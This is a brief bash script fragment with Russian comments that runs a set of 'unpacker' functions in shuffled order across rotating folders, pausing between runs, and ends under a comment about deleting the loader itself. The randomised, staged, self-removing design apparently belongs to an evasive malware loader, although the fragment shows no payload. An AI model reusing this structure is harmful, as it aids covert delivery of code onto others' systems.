if ! command -v shuf &>/dev/null; then SHUFFLE_CMD="sort -R"; fi

components_to_run=(${component_names[*]})
# Создаем случайный порядок запуска
mapfile -t shuffled_components < <(printf "%s\n" "${components_to_run[@]}" | $SHUFFLE_CMD)

dir_index=0

# 5. Цикл запуска
for func_name in "${shuffled_components[@]}"; do
    # Проверка на пустую строку (защита от ошибок)
    if [ -n "$func_name" ] && declare -f "$func_name" > /dev/null; then
        # Запускаем распаковщик
        "$func_name" "$use_gold" "$dir_index" "$PERL_BIN"

        # Крутим папки по кругу
        dir_index=$(((dir_index + 1) % dir_count))

        # Пауза
        sleep $PAUSE_SEC
    fi
done

# Удаляем сам лоадер
exit 0
